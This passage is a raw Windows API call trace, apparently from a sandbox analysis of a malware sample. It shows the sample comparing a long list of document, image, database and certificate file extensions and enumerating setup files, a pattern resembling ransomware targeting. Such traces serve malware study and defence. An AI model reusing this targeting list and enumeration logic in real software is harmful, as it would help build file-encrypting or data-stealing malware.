(lpString=".cin") returned 4 [0078.661] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1 [0078.661] lstrlenW (lpString=".class") returned 6 [0078.661] lstrcmpiW (lpString1=".class", lpString2="BE.dll") returned -1 [0078.661] lstrlenW (lpString=".clx") returned 4 [0078.661] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1 [0078.661] lstrlenW (lpString=".config") returned 7 [0078.661] lstrcmpiW (lpString1=".config", lpString2="OBE.dll") returned -1 [0078.661] lstrlenW (lpString=".cpp") returned 4 [0078.661] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1 [0078.661] lstrlenW (lpString=".cr2") returned 4 [0078.661] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1 [0078.661] lstrlenW (lpString=".crt") returned 4 [0078.661] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1 [0078.661] lstrlenW (lpString=".crw") returned 4 [0078.661] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1 [0078.661] lstrlenW (lpString=".cs") returned 3 [0078.661] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1 [0078.661] lstrlenW (lpString=".css") returned 4 [0078.661] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1 [0078.661] lstrlenW (lpString=".csv") returned 4 [0078.661] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1 [0078.661] lstrlenW (lpString=".cub") returned 4 [0078.662] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1 [0078.662] lstrlenW (lpString=".dae") returned 4 [0078.662] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1 [0078.662] lstrlenW (lpString=".dat") returned 4 [0078.662] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1 [0078.662] lstrlenW (lpString=".db") returned 3 [0078.662] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1 [0078.662] lstrlenW (lpString=".dbf") returned 4 [0078.662] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0078.662] lstrlenW (lpString=".dbx") returned 4 [0078.662] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1 [0078.662] lstrlenW (lpString=".dc3") returned 4 [0078.662] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1 [0078.662] lstrlenW (lpString=".dcm") returned 4 [0078.662] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1 [0078.662] lstrlenW (lpString=".dcr") returned 4 [0078.662] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1 [0078.662] lstrlenW (lpString=".der") returned 4 [0078.662] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1 [0078.662] lstrlenW (lpString=".dib") returned 4 [0078.662] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1 [0078.662] lstrlenW (lpString=".dic") returned 4 [0078.662] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1 [0078.662] lstrlenW (lpString=".dif") returned 4 [0078.662] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1 [0078.662] lstrlenW (lpString=".divx") returned 5 [0078.662] lstrcmpiW (lpString1=".divx", lpString2="E.dll") returned -1 [0078.663] lstrlenW (lpString=".djvu") returned 5 [0078.663] lstrcmpiW (lpString1=".djvu", lpString2="E.dll") returned -1 [0078.663] lstrlenW (lpString=".dng") returned 4 [0078.663] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1 [0078.663] lstrlenW (lpString=".doc") returned 4 [0078.663] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0078.663] lstrlenW (lpString=".docm") returned 5 [0078.663] lstrcmpiW (lpString1=".docm", lpString2="E.dll") returned -1 [0078.663] lstrlenW (lpString=".docx") returned 5 [0078.663] lstrcmpiW (lpString1=".docx", lpString2="E.dll") returned -1 [0078.663] lstrlenW (lpString=".dot") returned 4 [0078.663] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1 [0078.663] lstrlenW (lpString=".dotm") returned 5 [0078.663] lstrcmpiW (lpString1=".dotm", lpString2="E.dll") returned -1 [0078.663] lstrlenW (lpString=".dotx") returned 5 [0078.663] lstrcmpiW (lpString1=".dotx", lpString2="E.dll") returned -1 [0078.663] lstrlenW (lpString=".dpx") returned 4 [0078.663] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1 [0078.663] lstrlenW (lpString=".dqy") returned 4 [0078.663] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1 [0078.663] lstrlenW (lpString=".dsn") returned 4 [0078.663] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1 [0078.663] lstrlenW (lpString=".dt") returned 3 [0078.663] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1 [0078.663] lstrlenW (lpString=".dtd") returned 4 [0078.664] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1 [0078.664] lstrlenW (lpString=".dwg") returned 4 [0078.664] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1 [0078.664] lstrlenW (lpString=".dwt") returned 4 [0078.664] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1 [0078.664] lstrlenW (lpString=".dx") returned 3 [0078.664] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1 [0078.664] lstrlenW (lpString=".dxf") returned 4 [0078.664] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1 [0078.664] lstrlenW (lpString=".edml") returned 5 [0078.664] lstrcmpiW (lpString1=".edml", lpString2="E.dll") returned -1 [0078.664] lstrlenW (lpString=".efd") returned 4 [0078.664] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1 [0078.664] lstrlenW (lpString=".elf") returned 4 [0078.664] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1 [0078.664] lstrlenW (lpString=".emf") returned 4 [0078.664] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1 [0078.664] lstrlenW (lpString=".emz") returned 4 [0078.664] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1 [0078.664] lstrlenW (lpString=".epf") returned 4 [0078.664] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1 [0078.664] lstrlenW (lpString=".eps") returned 4 [0078.664] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1 [0078.664] lstrlenW (lpString=".epsf") returned 5 [0078.664] lstrcmpiW (lpString1=".epsf", lpString2="E.dll") returned -1 [0078.664] lstrlenW (lpString=".epsp") returned 5 [0078.665] lstrcmpiW (lpString1=".epsp", lpString2="E.dll") returned -1 [0078.665] lstrlenW (lpString=".erf") returned 4 [0078.665] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1 [0078.665] lstrlenW (lpString=".exr") returned 4 [0078.665] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1 [0078.665] lstrlenW (lpString=".f4v") returned 4 [0078.665] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1 [0078.665] lstrlenW (lpString=".fido") returned 5 [0078.665] lstrcmpiW (lpString1=".fido", lpString2="E.dll") returned -1 [0078.665] lstrlenW (lpString=".flm") returned 4 [0078.665] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1 [0078.665] lstrlenW (lpString=".flv") returned 4 [0078.665] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1 [0078.665] lstrlenW (lpString=".frm") returned 4 [0078.665] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1 [0078.665] lstrlenW (lpString=".fxg") returned 4 [0078.665] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1 [0078.665] lstrlenW (lpString=".geo") returned 4 [0078.665] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1 [0078.665] lstrlenW (lpString=".gif") returned 4 [0078.665] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1 [0078.665] lstrlenW (lpString=".grs") returned 4 [0078.665] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1 [0078.665] lstrlenW (lpString=".gz") returned 3 [0078.665] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1 [0078.666] lstrlenW (lpString=".h") returned 2 [0078.666] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1 [0078.666] lstrlenW (lpString=".hdr") returned 4 [0078.666] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1 [0078.666] lstrlenW (lpString=".hpp") returned 4 [0078.666] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1 [0078.666] lstrlenW (lpString=".hta") returned 4 [0078.666] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1 [0078.666] lstrlenW (lpString=".htc") returned 4 [0078.666] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1 [0078.666] lstrlenW (lpString=".htm") returned 4 [0078.666] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1 [0078.666] lstrlenW (lpString=".html") returned 5 [0078.666] lstrcmpiW (lpString1=".html", lpString2="E.dll") returned -1 [0078.666] lstrlenW (lpString=".icb") returned 4 [0078.666] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1 [0078.666] lstrlenW (lpString=".ics") returned 4 [0078.666] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1 [0078.666] lstrlenW (lpString=".iff") returned 4 [0078.666] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1 [0078.666] lstrlenW (lpString=".inc") returned 4 [0078.666] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1 [0078.666] lstrlenW (lpString=".indd") returned 5 [0078.666] lstrcmpiW (lpString1=".indd", lpString2="E.dll") returned -1 [0078.666] lstrlenW (lpString=".ini") returned 4 [0078.667] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1 [0078.667] lstrlenW (lpString=".iqy") returned 4 [0078.667] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1 [0078.667] lstrlenW (lpString=".j2c") returned 4 [0078.667] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1 [0078.667] lstrlenW (lpString=".j2k") returned 4 [0078.667] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1 [0078.667] lstrlenW (lpString=".java") returned 5 [0078.667] lstrcmpiW (lpString1=".java", lpString2="E.dll") returned -1 [0078.667] lstrlenW (lpString=".jp2") returned 4 [0078.667] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1 [0078.667] lstrlenW (lpString=".jpc") returned 4 [0078.667] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1 [0078.667] lstrlenW (lpString=".jpe") returned 4 [0078.667] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1 [0078.667] lstrlenW (lpString=".jpeg") returned 5 [0078.667] lstrcmpiW (lpString1=".jpeg", lpString2="E.dll") returned -1 [0078.667] lstrlenW (lpString=".jpf") returned 4 [0078.667] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1 [0078.667] lstrlenW (lpString=".jpg") returned 4 [0078.667] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0078.667] lstrlenW (lpString=".jpx") returned 4 [0078.667] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1 [0078.667] lstrlenW (lpString=".js") returned 3 [0078.667] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1 [0078.667] lstrlenW (lpString=".jsf") returned 4 [0078.667] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1 [0078.668] lstrlenW (lpString=".json") returned 5 [0078.668] lstrcmpiW (lpString1=".json", lpString2="E.dll") returned -1 [0078.668] lstrlenW (lpString=".jsp") returned 4 [0078.668] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1 [0078.668] lstrlenW (lpString=".kdc") returned 4 [0078.668] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1 [0078.668] lstrlenW (lpString=".kmz") returned 4 [0078.668] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1 [0078.668] lstrlenW (lpString=".kwm") returned 4 [0078.668] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1 [0078.668] lstrlenW (lpString=".lasso") returned 6 [0078.668] lstrcmpiW (lpString1=".lasso", lpString2="BE.dll") returned -1 [0078.668] lstrlenW (lpString=".lbi") returned 4 [0078.668] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1 [0078.668] lstrlenW (lpString=".lgf") returned 4 [0078.668] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1 [0078.668] lstrlenW (lpString=".lgp") returned 4 [0078.668] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1 [0078.668] lstrlenW (lpString=".log") returned 4 [0078.668] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1 [0078.668] lstrlenW (lpString=".m1v") returned 4 [0078.668] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1 [0078.668] lstrlenW (lpString=".m4a") returned 4 [0078.668] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1 [0078.668] lstrlenW (lpString=".m4v") returned 4 [0078.669] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1 [0078.669] lstrlenW (lpString=".max") returned 4 [0078.669] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1 [0078.669] lstrlenW (lpString=".md") returned 3 [0078.669] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1 [0078.669] lstrlenW (lpString=".mda") returned 4 [0078.669] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1 [0078.669] lstrlenW (lpString=".mdb") returned 4 [0078.669] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1 [0078.669] lstrlenW (lpString=".mde") returned 4 [0078.669] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1 [0078.669] lstrlenW (lpString=".mdf") returned 4 [0078.869] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1 [0078.869] lstrlenW (lpString=".mdw") returned 4 [0078.869] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1 [0078.869] lstrlenW (lpString=".mef") returned 4 [0078.869] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1 [0078.869] lstrlenW (lpString=".mft") returned 4 [0078.869] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1 [0078.869] lstrlenW (lpString=".mfw") returned 4 [0078.869] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1 [0078.869] lstrlenW (lpString=".mht") returned 4 [0078.870] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1 [0078.870] lstrlenW (lpString=".mhtml") returned 6 [0078.870] lstrcmpiW (lpString1=".mhtml", lpString2="BE.dll") returned -1 [0078.870] lstrlenW (lpString=".mka") returned 4 [0078.870] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1 [0078.870] lstrlenW (lpString=".mkidx") returned 6 [0078.870] lstrcmpiW (lpString1=".mkidx", lpString2="BE.dll") returned -1 [0078.870] lstrlenW (lpString=".mkv") returned 4 [0078.870] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1 [0078.870] lstrlenW (lpString=".mos") returned 4 [0078.870] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1 [0078.870] lstrlenW (lpString=".mov") returned 4 [0078.870] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1 [0078.870] lstrlenW (lpString=".mp3") returned 4 [0078.870] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1 [0078.870] lstrlenW (lpString=".mp4") returned 4 [0078.870] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1 [0078.870] lstrlenW (lpString=".mpeg") returned 5 [0078.871] lstrcmpiW (lpString1=".mpeg", lpString2="E.dll") returned -1 [0078.871] lstrlenW (lpString=".mpg") returned 4 [0078.871] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1 [0078.871] lstrlenW (lpString=".mpv") returned 4 [0078.871] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1 [0078.871] lstrlenW (lpString=".mrw") returned 4 [0078.871] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1 [0078.871] lstrlenW (lpString=".msg") returned 4 [0078.871] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1 [0078.871] lstrlenW (lpString=".mxl") returned 4 [0078.871] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1 [0078.871] lstrlenW (lpString=".myd") returned 4 [0078.871] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1 [0078.871] lstrlenW (lpString=".myi") returned 4 [0078.871] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1 [0078.871] lstrlenW (lpString=".nef") returned 4 [0078.871] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1 [0078.871] lstrlenW (lpString=".nrw") returned 4 [0078.871] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1 [0078.871] lstrlenW (lpString=".obj") returned 4 [0078.871] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1 [0078.871] lstrlenW (lpString=".odb") returned 4 [0078.871] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1 [0078.871] lstrlenW (lpString=".odc") returned 4 [0078.871] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1 [0078.871] lstrlenW (lpString=".odm") returned 4 [0078.872] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1 [0078.872] lstrlenW (lpString=".odp") returned 4 [0078.872] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1 [0078.872] lstrlenW (lpString=".ods") returned 4 [0078.872] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1 [0078.872] lstrlenW (lpString=".oft") returned 4 [0078.872] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1 [0078.872] lstrlenW (lpString=".one") returned 4 [0078.872] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1 [0078.872] lstrlenW (lpString=".onepkg") returned 7 [0078.872] lstrcmpiW (lpString1=".onepkg", lpString2="OBE.dll") returned -1 [0078.872] lstrlenW (lpString=".onetoc2") returned 8 [0078.872] lstrcmpiW (lpString1=".onetoc2", lpString2="OOBE.dll") returned -1 [0078.872] lstrlenW (lpString=".opt") returned 4 [0078.872] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1 [0078.872] lstrlenW (lpString=".oqy") returned 4 [0078.872] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1 [0078.872] lstrlenW (lpString=".orf") returned 4 [0078.872] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1 [0078.873] lstrlenW (lpString=".p12") returned 4 [0078.873] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1 [0078.873] lstrlenW (lpString=".p7b") returned 4 [0078.873] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1 [0078.873] lstrlenW (lpString=".p7c") returned 4 [0078.873] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1 [0078.873] lstrlenW (lpString=".pam") returned 4 [0078.873] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1 [0078.873] lstrlenW (lpString=".pbm") returned 4 [0078.873] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1 [0078.873] lstrlenW (lpString=".pct") returned 4 [0078.873] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1 [0078.873] lstrlenW (lpString=".pcx") returned 4 [0078.873] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1 [0078.873] lstrlenW (lpString=".pdd") returned 4 [0078.873] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1 [0078.873] lstrlenW (lpString=".pdf") returned 4 [0078.873] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0078.873] lstrlenW (lpString=".pdp") returned 4 [0078.873] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1 [0078.873] lstrlenW (lpString=".pef") returned 4 [0078.873] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1 [0078.873] lstrlenW (lpString=".pem") returned 4 [0078.873] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1 [0078.873] lstrlenW (lpString=".pff") returned 4 [0078.874] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1 [0078.874] lstrlenW (lpString=".pfm") returned 4 [0078.874] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1 [0078.874] lstrlenW (lpString=".pfx") returned 4 [0078.874] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1 [0078.874] lstrlenW (lpString=".pgm") returned 4 [0078.874] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1 [0078.874] lstrlenW (lpString=".php") returned 4 [0078.874] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1 [0078.874] lstrlenW (lpString=".php3") returned 5 [0078.874] lstrcmpiW (lpString1=".php3", lpString2="E.dll") returned -1 [0078.874] lstrlenW (lpString=".php4") returned 5 [0078.874] lstrcmpiW (lpString1=".php4", lpString2="E.dll") returned -1 [0078.874] lstrlenW (lpString=".php5") returned 5 [0078.874] lstrcmpiW (lpString1=".php5", lpString2="E.dll") returned -1 [0078.874] lstrlenW (lpString=".phtml") returned 6 [0078.874] lstrcmpiW (lpString1=".phtml", lpString2="BE.dll") returned -1 [0078.874] lstrlenW (lpString=".pict") returned 5 [0078.874] lstrcmpiW (lpString1=".pict", lpString2="E.dll") returned -1 [0078.874] lstrlenW (lpString=".pl") returned 3 [0078.874] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1 [0078.875] lstrlenW (lpString=".pls") returned 4 [0078.875] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1 [0078.875] lstrlenW (lpString=".pm") returned 3 [0078.875] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1 [0078.875] lstrlenW (lpString=".png") returned 4 [0078.875] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.875] lstrlenW (lpString=".pnm") returned 4 [0078.875] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1 [0078.875] lstrlenW (lpString=".pot") returned 4 [0078.875] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1 [0078.875] lstrlenW (lpString=".potm") returned 5 [0078.875] lstrcmpiW (lpString1=".potm", lpString2="E.dll") returned -1 [0078.875] lstrlenW (lpString=".potx") returned 5 [0078.875] lstrcmpiW (lpString1=".potx", lpString2="E.dll") returned -1 [0078.875] lstrlenW (lpString=".ppa") returned 4 [0078.875] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1 [0078.875] lstrlenW (lpString=".ppam") returned 5 [0078.875] lstrcmpiW (lpString1=".ppam", lpString2="E.dll") returned -1 [0078.875] lstrlenW (lpString=".ppm") returned 4 [0078.875] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1 [0078.875] lstrlenW (lpString=".pps") returned 4 [0078.875] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1 [0078.875] lstrlenW (lpString=".ppsm") returned 5 [0078.875] lstrcmpiW (lpString1=".ppsm", lpString2="E.dll") returned -1 [0078.875] lstrlenW (lpString=".ppt") returned 4 [0078.875] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0078.876] lstrlenW (lpString=".pptm") returned 5 [0078.876] lstrcmpiW (lpString1=".pptm", lpString2="E.dll") returned -1 [0078.876] lstrlenW (lpString=".pptx") returned 5 [0078.876] lstrcmpiW (lpString1=".pptx", lpString2="E.dll") returned -1 [0078.876] lstrlenW (lpString=".prn") returned 4 [0078.876] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1 [0078.876] lstrlenW (lpString=".ps") returned 3 [0078.876] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1 [0078.876] lstrlenW (lpString=".psb") returned 4 [0078.876] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1 [0078.876] lstrlenW (lpString=".psd") returned 4 [0078.876] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1 [0078.876] lstrlenW (lpString=".pst") returned 4 [0078.876] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1 [0078.876] lstrlenW (lpString=".ptx") returned 4 [0078.876] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1 [0078.876] lstrlenW (lpString=".pub") returned 4 [0078.876] lstrcmpiW (lpString1=".pub", lpString2=".dll") returned 1 [0078.876] lstrlenW (lpString=".pwm") returned 4 [0078.876] lstrcmpiW (lpString1=".pwm", lpString2=".dll") returned 1 [0078.876] lstrlenW (lpString=".pxr") returned 4 [0078.877] lstrcmpiW (lpString1=".pxr", lpString2=".dll") returned 1 [0078.877] lstrlenW (lpString=".py") returned 3 [0078.877] lstrcmpiW (lpString1=".py", lpString2="dll") returned -1 [0078.877] lstrlenW (lpString=".qt") returned 3 [0078.877] lstrcmpiW (lpString1=".qt", lpString2="dll") returned -1 [0078.877] lstrlenW (lpString=".r3d") returned 4 [0078.877] lstrcmpiW (lpString1=".r3d", lpString2=".dll") returned 1 [0078.877] lstrlenW (lpString=".raf") returned 4 [0078.877] lstrcmpiW (lpString1=".raf", lpString2=".dll") returned 1 [0078.877] lstrlenW (lpString=".rar") returned 4 [0078.877] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0078.877] FindNextFileW (in: hFindFile=0x459c60, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956819aa, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x956819aa, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini", cAlternateFileName="GETCUR~1.INI")) returned 1 [0078.877] FindNextFileW (in: hFindFile=0x459c60, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x54acc791, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0x54acc791, ftLastWriteTime.dwHighDateTime=0x1d3273a, nFileSizeHigh=0x0, nFileSizeLow=0x241, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd", cAlternateFileName="PARTNE~1.CMD")) returned 1 [0078.878] FindNextFileW (in: hFindFile=0x459c60, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9575af11, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9577d1ec, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="preoobe.cmd", cAlternateFileName="")) returned 1 [0078.878] FindNextFileW (in: hFindFile=0x459c60, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 1 [0078.878] FindNextFileW (in: hFindFile=0x459c60, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 0 [0078.878] FindClose (in: hFindFile=0x459c60 | out: hFindFile=0x459c60) returned 1 [0078.879] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0078.879] FindNextFileW (in: hFindFile=0x45a120, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 0 [0078.879] FindClose (in: hFindFile=0x45a120 | out: hFindFile=0x45a120) returned 1 [0078.879] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35b0050 | out: hHeap=0x440000) returned 1 [0078.881] FindNextFileW (in: hFindFile=0x459c20, lpFindFileData=0x2d2fcf8 | out: lpFindFileData=0x2d2fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, 